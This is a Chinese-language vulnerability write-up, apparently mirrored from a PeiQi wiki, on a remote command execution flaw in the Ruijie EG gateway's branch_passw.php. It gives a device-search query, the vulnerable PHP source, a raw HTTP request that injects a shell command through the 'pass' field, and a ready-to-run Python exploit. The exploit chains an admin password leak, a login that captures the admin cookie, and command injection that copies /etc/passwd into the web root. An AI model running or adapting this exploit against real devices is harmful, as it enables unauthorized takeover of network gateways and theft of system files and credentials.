mirror of
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252 lines
8.4 KiB
Markdown
252 lines
8.4 KiB
Markdown
# 锐捷 EG易网关 branch_passw.php 远程命令执行
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## 漏洞描述
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锐捷EG易网关 branch_passw.php存在命令执行漏洞，配合 锐捷EG易网关 管理员账号密码泄露漏洞 达到RCE控制服务器
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## 漏洞影响
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```
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锐捷EG易网关
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```
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## 网络测绘
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```
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app="Ruijie-EG易网关"
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```
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## 漏洞复现
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首先登录到后台中(可以组合 锐捷EG易网关 管理员账号密码泄露漏洞)
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漏洞文件 branch_passw.php
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```php
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<?php
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/**
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* 分支密码的统一管理
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*/
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define('IN', true); //定位该文件是入口文件
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define('DS', DIRECTORY_SEPARATOR); //定义系统目录分隔符
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define('AROOT', dirname(__FILE__) . DS); //定义入口所在的目录
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include_once(dirname(dirname(__FILE__)) . DS . 'mvc' . DS . 'controller' . DS . 'core.controller.php');
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class defaultController extends coreController {
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private $filename;
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private $cli = "evpn-server config all-clients file \"/data/evpn/cfg_pwd.text\"";
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function __construct() {
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parent::__construct();
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$this->filename = DS . "data" . DS . "evpn" . DS . "cfg_pwd.text";
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}
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/**
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* 设置分支设备的密码
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* @param string post(pass) 分支密码
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*/
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public function setAction() {
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$pass = p("pass");
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if ($pass == FALSE) {
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json_echo(false);
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return;
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}
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$command = "/usr/local/evpn/server/cfg_pass.sh config " . $pass;
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evpnShell($command);
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}
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/**
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* 关闭集中控制功能
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*/
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function closeAction(){
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evpnShell("/usr/local/evpn/server/cfg_pass.sh disable");
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}
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/**
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* 获取分支密码
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*/
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function getAction() {
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$command = "/usr/local/evpn/server/echo_pass.sh";
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$content = [];
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exec(EscapeShellCmd($command), $content);
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$data = array("status" => true,
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"data" => isset($content[0]) && $content[0] === "" ? "" : $content);
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json_echo($data);
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}
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/**
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* 获取分支密码设置列表
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*/
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function listAction(){
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$province = p("province");
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$city = p("city");
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$district = p("district");
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$shell = "/usr/local/evpn/server/sh_clients_pass.sh";
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if($province !== FALSE && $province != ""){
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$shell .= " province ".iconv("UTF-8", "GB2312//IGNORE", $province);
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}
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if($city !== FALSE && $city != ""){
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$shell .= " city ".iconv("UTF-8", "GB2312//IGNORE", $city);
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}
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if($district !== FALSE && $district != ""){
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$shell .= " district ".iconv("UTF-8", "GB2312//IGNORE", $district);
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}
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header("Content-type: text/html;charset=gbk");
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header("Cache-Control: no-cache, must-revalidate");
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header("Pragma: no-cache");
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echo `$shell`;
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}
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}
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include_once dirname(dirname(__FILE__)) . '/init.php'; //mvc架构初始化
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```
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其中漏洞部分
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```php
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/**
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* 设置分支设备的密码
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* @param string post(pass) 分支密码
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*/
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public function setAction() {
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$pass = p("pass");
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if ($pass == FALSE) {
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json_echo(false);
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return;
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}
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$command = "/usr/local/evpn/server/cfg_pass.sh config " . $pass;
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evpnShell($command);
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}
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```
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&pass**变量可控并且无过滤执行命令使用 **|** 即可绕过
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发送请求包
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```plain
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POST /itbox_pi/branch_passw.php?a=set HTTP/1.1
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Host:
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User-Agent: Go-http-client/1.1
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Content-Length: 41
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Content-Type: application/x-www-form-urlencoded
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Cookie: RUIJIEID=52222egp72ilkpf2de7qbrigk3;user=admin;
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X-Requested-With: XMLHttpRequest
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Accept-Encoding: gzip
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pass=|cat /etc/psswd>../test_test.txt
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```
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再访问
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```plain
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http://xxx.xxx.xxx.xxx/test_test.txt
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```
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## 漏洞POC
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```python
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#!/usr/bin/python3
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#-*- coding:utf-8 -*-
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# author : PeiQi
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# from : http://wiki.peiqi.tech
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import base64
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import requests
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import random
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import re
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import json
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import sys
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: 锐捷EG网关 branch_passw.php 远程命令执行漏洞 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/login.php"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded"
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}
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data = 'username=admin&password=admin?show+webmaster+user'
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try:
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
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print("\033[36m[o] 正在执行 show webmaster user \033[0m".format(target_url))
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if "data" in response.text and response.status_code == 200:
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password = re.findall(r'admin (.*?)"', response.text)[0]
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print("\033[36m[o] 成功获取, 账号密码为: admin {} \033[0m".format(password))
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POC_2(target_url, password)
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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def POC_2(target_url, password):
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vuln_url = target_url + "/login.php"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded"
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}
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data = 'username=admin&password={}'.format(password)
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try:
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
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print("\033[36m[o] 正在登录..... \033[0m".format(target_url))
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if "status" in response.text and "1" in response.text and response.status_code == 200:
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ruijie_cookie = "RUIJIEID=" + re.findall(r"'Set-Cookie': 'RUIJIEID=(.*?);", str(response.headers))[0] + ";user=admin;"
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print("\033[36m[o] 成功获取管理员Cookie: {} \033[0m".format(ruijie_cookie))
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POC_3(target_url, ruijie_cookie)
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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def POC_3(target_url, ruijie_cookie):
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vuln_url = target_url + "/itbox_pi/branch_passw.php?a=set"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded",
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"Cookie": "{}".format(ruijie_cookie)
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}
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data = 'pass=|cat /etc/passwd>../test_test.txt'
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try:
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
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print("\033[36m[o] 正在执行 cat /etc/passwd..... \033[0m".format(target_url))
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if response.status_code == 200:
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POC_4(target_url, ruijie_cookie)
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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def POC_4(target_url, ruijie_cookie):
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vuln_url = target_url + "/test_test.txt"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded",
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"Cookie": "{}".format(ruijie_cookie)
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}
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try:
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response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10)
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print("\033[36m[o] 正在执行 cat /etc/passwd..... \033[0m".format(target_url))
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if "root:" in response.text and response.status_code == 200:
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print("\033[36m[o] 成功读取 /etc/passwd \n[o] 响应为:{} \033[0m".format(response.text))
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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```
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